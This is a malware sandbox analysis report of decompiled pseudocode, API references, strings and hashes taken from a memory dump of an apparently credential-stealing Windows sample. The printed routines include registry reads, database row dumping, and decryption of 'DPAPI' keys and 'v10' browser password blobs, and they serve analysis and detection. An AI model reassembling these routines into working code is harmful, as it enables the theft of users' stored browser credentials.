0x0040afc3
0x0040afd1
0x0040afdc
0x0040afdc
0x0040afe6
0x0040aff2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
RegOpenKeyExA.ADVAPI32(80000002,00712748,00000000,00020119,?), ref: 0040AFBB
RegQueryValueExA.ADVAPI32(?,007180B8,00000000,00000000,?,000000FF), ref: 0040AFDC
RegCloseKey.ADVAPI32(?), ref: 0040AFE6

Strings

H'q, xrefs: 0040AFAF

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: H'q
API String ID: 3225020163-2081420965
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 3560b0945dc9351a47cb67e23b673332a76d6e647168765e51ac926b13a32b36
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 19014FB5A41208BFEB00DBE0DD49FEEB7BCEB48700F108569FA05A7291D6745A60CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0043CBDA, Relevance: 9.2, APIs: 6, Instructions: 238COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 0043CBEC
_write_multi_char.LIBCMTD ref: 0043D21B
_write_string.LIBCMTD ref: 0043D236
_write_multi_char.LIBCMTD ref: 0043D262
__mbtowc_l.LIBCMTD ref: 0043D2D1

Memory Dump Source

Source File: 00000010.00000002.777907871.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_42e000_DB31.jbxd

Similarity

API ID: _write_multi_char$__get_printf_count_output__mbtowc_l_write_string
String ID:
API String ID: 2136839635-0
Opcode ID: 2eab16534fea5255c339e7d69c70c7d289fbe0f73319f0e5b6c50f95fbfdc188
Instruction ID: e616cdffeb88ff46c91c29a8e0f185fb3c03decf741a94ad697789010c835819
Opcode Fuzzy Hash: 2eab16534fea5255c339e7d69c70c7d289fbe0f73319f0e5b6c50f95fbfdc188
Instruction Fuzzy Hash: CCA18FF1D002289BDF24DF55DC81BAEB3B4AB48304F14509AE6097B282D7789E84CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00408510, Relevance: 9.1, APIs: 6, Instructions: 92
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00408510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				CHAR* _t25;
				void* _t28;
				void* _t30;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t56;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t67;

				E0040B720( &_v276, 0x104);
				_t25 =  *0x41a07c; // 0x718598
				wsprintfA( &_v276, _t25, _a12, _a8);
				_t28 =  *0x41a830(_a4,  &_v8);
				_t63 = _t61 + 0x18;
				if(_t28 == 0) {
					_t56 =  *0x41a430; // 0x718658
					_t30 =  *0x41a7e8(_v8, _t56, 0xffffffff,  &_v280, 0);
					_t64 = _t63 + 0x14;
					if(_t30 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t36 =  *0x41a804(_v280);
						_t67 = _t64 + 4;
						if(_t36 != 0x64) {
							break;
						}
						_t42 =  *0x41a820(_v280, 0);
						_t64 = _t67 + 8;
						_v288 = _t42;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t64 = _t67 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t28;
			}

0x00408525
0x00408532
0x0040853f
0x00408550
0x00408556
0x0040855b
0x0040856c
0x00408577
0x0040857d
0x00408582
0x0040862d
0x00408634
0x00000000
0x00408647
0x0040859c
0x004085a2
0x004085a9
0x004085af
0x004085b5
0x00000000
0x00000000
0x004085c0
0x004085c6
0x004085c9
0x004085dd
0x004085ef
0x004085ef
0x00408617
0x0040861c
0x00408628
0x00000000
0x00408628
0x0040864d

APIs

wsprintfA.USER32 ref: 0040853F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040858F
RtlAllocateHeap.NTDLL(00000000), ref: 00408596
lstrcat.KERNEL32(?,?), ref: 004085DD
lstrcat.KERNEL32(?,00418BC4), ref: 004085EF
lstrlen.KERNEL32(?), ref: 004085FE

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction ID: 16a89e7602ce9a9af0cb90aa00b31cd04fc627f3dd9fe4cd639e4c9769f6db21
Opcode Fuzzy Hash: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction Fuzzy Hash: 0F3198B1900108ABCB14EFA4DD46EDA7378AF48705F0085A8F719D7191DA35DAA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00407380, Relevance: 9.1, APIs: 6, Instructions: 77
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00407380(CHAR* _a4, void** _a8, long* _a12) {
				struct _OVERLAPPED* _v8;
				long _v12;
				void* _v16;
				intOrPtr _v24;
				long _v28;
				long _v32;

				_v8 = 0;
				_v16 = 0;
				_v16 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0, 0);
				if(_v16 == 0 || _v16 == 0xffffffff) {
					L12:
					return _v8;
				} else {
					_push( &_v28);
					_push(_v16);
					if( *0x41a868() != 0 && _v24 == 0) {
						 *_a12 = _v28;
						 *_a8 = LocalAlloc(0x40,  *_a12);
						if( *_a8 != 0) {
							if(ReadFile(_v16,  *_a8,  *_a12,  &_v12, 0) == 0 ||  *_a12 != _v12) {
								_v32 = 0;
							} else {
								_v32 = 1;
							}
							_v8 = _v32;
							if(_v8 == 0) {
								LocalFree( *_a8);
							}
						}
					}
					CloseHandle(_v16);
					goto L12;
				}
			}

0x00407386
0x0040738d
0x004073ad
0x004073b4
0x0040745b
0x00407461
0x004073c4
0x004073c7
0x004073cb
0x004073d4
0x004073e2
0x004073f5
0x004073fd
0x0040741d
0x00407432
0x00407429
0x00407429
0x00407429
0x0040743c
0x00407443
0x0040744b
0x0040744b
0x00407443
0x004073fd
0x00407455
0x00000000
0x00407455

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
LocalFree.KERNEL32(?), ref: 0040744B
CloseHandle.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: af94470c476782e88e9ea84d45e590fd848c7c035798b2791f751b67d2b5900f
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 1A31DBB4A04209EFDB14DF94C888BAEBBB5FF48310F108169E915AB3D0C778AA55CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEB0, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040BEB0(char _a4, char* _a8, intOrPtr _a12) {
				char* _v8;
				char* _v12;
				intOrPtr _v16;
				char _v17;
				intOrPtr _v24;

				_t2 =  &_a4; // 0x715f70
				_v8 = StrStrA( *_t2, _a8);
				if(_v8 != 0) {
					_t7 =  &_a4; // 0x715f70
					_t8 =  &_a4; // 0x715f70
					 *0x41a994(0x41ac88,  *_t8, _v8 -  *_t7);
					_t10 =  &_a4; // 0x715f70
					 *((char*)(_v8 -  *_t10 + 0x41ac88)) = 0;
					_v12 = _a8;
					_t14 =  &_v12; // 0x715f70
					_v16 =  *_t14 + 1;
					do {
						_t16 =  &_v12; // 0x715f70
						_v17 =  *((intOrPtr*)( *_t16));
						_v12 =  &(_v12[1]);
					} while (_v17 != 0);
					_v24 = _v12 - _v16;
					wsprintfA(_v8 - _a4 + 0x41ac88, "%s%s", _a12, _v8 + _v24);
					return 0x41ac88;
				}
				_t5 =  &_a4; // 0x715f70
				return  *_t5;
			}

0x0040beba
0x0040bec4
0x0040becb
0x0040bed5
0x0040bed9
0x0040bee2
0x0040beeb
0x0040beee
0x0040bef8
0x0040befb
0x0040bf01
0x0040bf04
0x0040bf04
0x0040bf09
0x0040bf0c
0x0040bf10
0x0040bf1c
0x0040bf3b
0x00000000
0x0040bf44
0x0040becd
0x00000000

APIs

StrStrA.SHLWAPI(p_q,?,?,004061B1,?,00715F70,00000000), ref: 0040BEBE
lstrcpyn.KERNEL32(0041AC88,p_q,p_q,?,004061B1,?,00715F70), ref: 0040BEE2
wsprintfA.USER32 ref: 0040BF3B

Strings

%s%s, xrefs: 0040BF2A
p_q, xrefs: 0040BEFB, 0040BF04
p_q, xrefs: 0040BEBA, 0040BED5, 0040BED9, 0040BEEB, 0040BECD, 0040BEBD, 0040BED8, 0040BEDC

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: %s%s$p_q$p_q
API String ID: 1799455324-895743523
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 9d0df258c1970b53338195e9cfc72265299fee085df88f93dfbf2dd1b14f7860
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 3A21F975901108FFDF05DFACC984AEEBBB4EF48344F108199E909A7341D735AA90CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00435B77, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435DA5
__aulldiv.LIBCMT ref: 00435DC7

Strings

9, xrefs: 00435DD8
0, xrefs: 00435B93
', xrefs: 00435B77

Memory Dump Source

Source File: 00000010.00000002.777907871.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_42e000_DB31.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: '$0$9
API String ID: 3839614884-269856862
Opcode ID: 22b617e8866348ed069e87b728344cb41d9cad26a5983fc52752e8f48bda911a
Instruction ID: cb0e15ec9dd138780ed7db818cbe24939e5c3625d5ab72a7e4f9e92182a18544
Opcode Fuzzy Hash: 22b617e8866348ed069e87b728344cb41d9cad26a5983fc52752e8f48bda911a
Instruction Fuzzy Hash: E6410471D05A29DFEB24CF58C889BAEB7B5FB48304F2495DAD409A7240C738AE81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACE0() {
				struct _SYSTEMTIME _v20;
				void* _v24;

				_v24 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				GetLocalTime( &_v20);
				wsprintfA(_v24, "%d/%d/%d %d:%d:%d", _v20.wDay & 0x0000ffff, _v20.wMonth & 0x0000ffff, _v20.wYear & 0x0000ffff, _v20.wHour & 0x0000ffff, _v20.wMinute & 0x0000ffff, _v20.wSecond & 0x0000ffff);
				return _v24;
			}

0x0040acfa
0x0040ad01
0x0040ad2e
0x0040ad3d

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
wsprintfA.USER32 ref: 0040AD2E

Strings

%d/%d/%d %d:%d:%d, xrefs: 0040AD25

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: %d/%d/%d %d:%d:%d
API String ID: 377395780-1073349071
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00404970, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404970(void* __ecx, void* __eflags, char* _a4) {
				intOrPtr _v56;
				char* _v60;
				char _v64;
				char _v132;

				E0040B720( &_v132, 0x40);
				E0040B720( &_v64, 0x3c);
				_v64 = 0x3c;
				_v60 =  &_v132;
				_v56 = 0x40;
				_push( &_v64);
				if(InternetCrackUrlA(_a4,  *0x41a908(), _a4, 0x10000000) == 0) {
					return 0x418b7c;
				}
				return _v60;
			}

0x0040497f
0x0040498a
0x0040498f
0x00404999
0x0040499c
0x004049a6
0x004049c3
0x00000000
0x004049cc
0x00000000

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 004049B0
InternetCrackUrlA.WININET(?,00000000), ref: 004049BB

Strings

http, xrefs: 004049CC
@, xrefs: 0040499C
<, xrefs: 0040498F

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction ID: e6804194f0461931acba1e2b3008128b19c1605eb91d96f529587f083f9a09b0
Opcode Fuzzy Hash: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction Fuzzy Hash: 84F012F590020CABDB04DFA5E885FEE7B7CEB44344F008529FA04AB190DB78A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 00411B30, Relevance: 7.7, APIs: 5, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411B30(intOrPtr __ecx, signed int _a4, long _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _t90;
				intOrPtr _t112;
				intOrPtr _t136;
				intOrPtr _t141;

				_v24 = __ecx;
				if( *(_v24 + 4) != 0 ||  *(_v24 + 0xc) != 0 ||  *((intOrPtr*)(_v24 + 0x20)) != 0 ||  *((intOrPtr*)(_v24 + 0x18)) != 0 ||  *((intOrPtr*)(_v24 + 0x14)) != 0 || ( *(_v24 + 0x2c) & 0x000000ff) != 0) {
					return 0x1000000;
				} else {
					__eflags = _a12 - 1;
					if(_a12 != 1) {
						__eflags = _a12 - 2;
						if(__eflags != 0) {
							__eflags = _a12 - 3;
							if(_a12 != 3) {
								return 0x10000;
							}
							_v20 = _a8;
							__eflags = _v20;
							if(_v20 != 0) {
								__eflags = _a4;
								if(_a4 == 0) {
									 *(_v24 + 0xc) = CreateFileMappingW(0xffffffff, 0, 4, 0, _v20, 0);
									_t90 = _v24;
									__eflags =  *(_t90 + 0xc);
									if( *(_t90 + 0xc) != 0) {
										 *((intOrPtr*)(_v24 + 0x20)) = MapViewOfFile( *(_v24 + 0xc), 0xf001f, 0, 0, _v20);
										_t136 = _v24;
										__eflags =  *(_t136 + 0x20);
										if( *(_t136 + 0x20) != 0) {
											L25:
											 *((char*)(_v24 + 0x1c)) = 1;
											 *(_v24 + 0x24) = 0;
											 *(_v24 + 0x28) = _v20;
											return 0;
										}
										CloseHandle( *(_v24 + 0xc));
										 *(_v24 + 0xc) = 0;
										return 0x300;
									}
									return 0x300;
								}
								 *((intOrPtr*)(_v24 + 0x20)) = _a4;
								goto L25;
							}
							return 0x30000;
						}
						_v16 = _a4;
						 *(_v24 + 4) = CreateFileW(E0040B5C0(__eflags, _v16), 0x40000000, 0, 0, 2, 0x80, 0);
						_t141 = _v24;
						__eflags =  *((intOrPtr*)(_t141 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t141 + 4)) != 0xffffffff) {
							 *((char*)(_v24 + 0x1c)) = 1;
							 *(_v24 + 0x10) = 0;
							 *((char*)(_v24 + 8)) = 1;
							return 0;
						}
						 *(_v24 + 4) = 0;
						return 0x200;
					}
					_v12 = _a4;
					 *(_v24 + 4) = _v12;
					 *((char*)(_v24 + 8)) = 0;
					_v8 = SetFilePointer( *(_v24 + 4), 0, 0, 1);
					__eflags = _v8 - 0xffffffff;
					 *((char*)(_v24 + 0x1c)) = 0 | _v8 != 0xffffffff;
					_t112 = _v24;
					__eflags =  *(_t112 + 0x1c) & 0x000000ff;
					if(( *(_t112 + 0x1c) & 0x000000ff) == 0) {
						 *(_v24 + 0x10) = 0;
					} else {
						 *(_v24 + 0x10) = _v8;
					}
					return 0;
				}
			}

0x00411b36
0x00411b40
0x00000000
0x00411b7b
0x00411b7b
0x00411b7f
0x00411be8
0x00411bec
0x00411c60
0x00411c64
0x00000000
0x00411d22
0x00411c6d
0x00411c70
0x00411c74
0x00411c80
0x00411c84
0x00411ca8
0x00411cab
0x00411cae
0x00411cb2
0x00411cd8
0x00411cdb
0x00411cde
0x00411ce2
0x00411d02
0x00411d05
0x00411d0c
0x00411d19
0x00000000
0x00411d1c
0x00411ceb
0x00411cf4
0x00000000
0x00411cfb
0x00000000
0x00411cb4
0x00411c8c
0x00000000
0x00411c8c
0x00000000
0x00411c76
0x00411bf1
0x00411c1c
0x00411c1f
0x00411c22
0x00411c26
0x00411c3f
0x00411c46
0x00411c50
0x00000000
0x00411c54
0x00411c2b
0x00000000
0x00411c32
0x00411b84
0x00411b8d
0x00411b93
0x00411baa
0x00411baf
0x00411bb9
0x00411bbc
0x00411bc3
0x00411bc5
0x00411bd5
0x00411bc7
0x00411bcd
0x00411bcd
0x00000000
0x00411bdc

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00411BA4

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction ID: 4806281024cf892df001f217e22b508f46e279854f8b30cdef803a4c5b02db50
Opcode Fuzzy Hash: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction Fuzzy Hash: 49611BB4A0020ADFEB14CF54D585BAEB7B1BB04315F208259E9156B3D1D378EE81CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00407230, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00407230(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				long _v80;
				void* _v84;
				int _v88;
				char _v5092;
				void* _t58;
				void* _t94;

				E004139B0(0x13e0, __ecx);
				if(_a8 < 3) {
					L10:
					return E00407190(_a4, _a8);
				}
				asm("repe cmpsb");
				if(0 != 0) {
					goto L10;
				}
				if(((0 | _a12 != 0x00000000) & (0 | _a16 != 0x00000000)) == 0) {
					return 0x4191a0;
				}
				memset( &_v76, 0, 0x40);
				_v76 = 0x40;
				_v72 = 1;
				_v68 = _a4 + 3;
				_v64 = 0xc;
				_v52 = _v68 + _a8 - 0x13;
				_v48 = 0x10;
				_v80 = _a8 - 3 - _v64 - _v48;
				_t58 = LocalAlloc(0x40, _v80);
				_v84 = _t58;
				if(_v84 == 0) {
					return _t58;
				}
				_v88 = 0;
				_v8 =  *0x41aa60(_a16, _v68 + _v64, _v80,  &_v76, 0, 0, _v84, _v80,  &_v88, 0);
				if(_v8 < 0) {
					return 0x4191a0;
				}
				E0040B720( &_v5092, 0x1388);
				 *0x41aa24( &_v5092, _v84);
				 *((char*)(_t94 + _v88 - 0x13e0)) = 0;
				return  &_v5092;
			}

0x00407238
0x00407243
0x00407364
0x00000000
0x00407371
0x00407258
0x0040725a
0x00000000
0x00000000
0x00407274
0x00000000
0x0040735b
0x00407282
0x0040728a
0x00407291
0x0040729e
0x004072a1
0x004072b2
0x004072b5
0x004072c8
0x004072d1
0x004072d7
0x004072de
0x00000000
0x00407359
0x004072e0
0x00407312
0x00407319
0x00000000
0x00407352
0x00407327
0x00407337
0x00407340
0x00000000

APIs

memset.MSVCRT ref: 00407282
LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
lstrcat.KERNEL32(?,00000000), ref: 00407337

Strings

v10, xrefs: 0040724E
@, xrefs: 0040728A

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction ID: 61f64e7557948a46b50732eb2c11968d7e6d1a4f1abee3a4cf4d88c7128a29d2
Opcode Fuzzy Hash: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction Fuzzy Hash: D24150B1E04208EBEB14CFD4D884BDEB7B4FF48344F048169F905AB284D778AA45DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00407690, Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00407690(CHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				char* _v8;
				char _v12;
				char _v16;
				char* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char* _t57;
				intOrPtr _t58;

				_v44 = 0;
				if(E00407380(_a4,  &_v40,  &_v16) != 0) {
					_v8 = E0040BB00(_v40, _v16);
					if(_v8 != 0) {
						_t57 =  *0x41a088; // 0x717c40
						_v20 = StrStrA(_v8, _t57);
						if(_v20 != 0) {
							_v20 = _v20 + 0x10;
							_t58 =  *0x41a394; // 0x715650
							_v48 = E0040BA20(_v20, _t58);
							if(E00407470( &_v24, _v48,  &_v32,  &_v24) != 0 && _v24 >= 5) {
								asm("repe cmpsb");
								if(0 == 0 && E00407510(_v32 + 5, _v24 - 5,  &_v28,  &_v12) != 0 && _v12 == 0x20) {
									_v44 = 1;
									E004075E0(_v28, _a8, _a12);
								}
							}
						}
					}
				}
				return _v44;
			}

0x00407698
0x004076b5
0x004076cb
0x004076d2
0x004076d8
0x004076e9
0x004076f0
0x004076fc
0x004076ff
0x00407712
0x0040772b
0x00407742
0x00407744
0x0040776e
0x00407781
0x00407786
0x00407744
0x0040772b
0x004076f0
0x004076d2
0x00407791

APIs

Part of subcall function 00407380: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
Part of subcall function 00407380: GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
Part of subcall function 00407380: LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
Part of subcall function 00407380: ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
Part of subcall function 00407380: LocalFree.KERNEL32(?), ref: 0040744B
Part of subcall function 00407380: CloseHandle.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Part of subcall function 0040BB00: LocalAlloc.KERNEL32(00000040,-00000001), ref: 0040BB22

StrStrA.SHLWAPI(00000000,00717C40), ref: 004076E3

Part of subcall function 00407470: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
Part of subcall function 00407470: LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
Part of subcall function 00407470: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
Part of subcall function 00407470: LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Part of subcall function 00407510: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
Part of subcall function 00407510: LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
Part of subcall function 00407510: LocalFree.KERNEL32(?), ref: 0040757F

Strings

DPAPI, xrefs: 00407738
, xrefs: 00407768
@|q, xrefs: 004076D8
PVq, xrefs: 004076FF

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotect
String ID: $@|q$DPAPI$PVq
API String ID: 2403763606-2337274259
Opcode ID: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction ID: eb4e9db67b04358953b965a2fa42df4c86bf95490415688a64744a127192de17
Opcode Fuzzy Hash: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction Fuzzy Hash: C5314876D04109ABCF04DBD9DC45AFFB7B8AF48304F14852AE904B3241E738B944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5C0, Relevance: 7.6, APIs: 5, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040B5C0(void* __eflags, char* _a4) {
				int _v8;
				int _v12;
				int _v16;
				void* _t50;

				_t50 = __eflags;
				_v12 = MultiByteToWideChar(0, 0, _a4,  *0x41a908(0), _a4, 0);
				_v16 = E0040B590( ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002,  ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002);
				_v8 = _v16;
				MultiByteToWideChar(0, 0, _a4,  *0x41a908(_v12), _a4, _v8);
				 *((short*)(_v8 + _v12 * 2)) = 0;
				return _v8;
			}

0x0040b5c0
0x0040b5e3
0x0040b605
0x0040b60b
0x0040b629
0x0040b637
0x0040b641

APIs

lstrlen.KERNEL32(00000080,00000000,00000000,00000002,00000080,00000000), ref: 0040B5CE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B5DD
new[].LIBCMTD ref: 0040B5FD
lstrlen.KERNEL32(?,?,?), ref: 0040B61A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B629

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
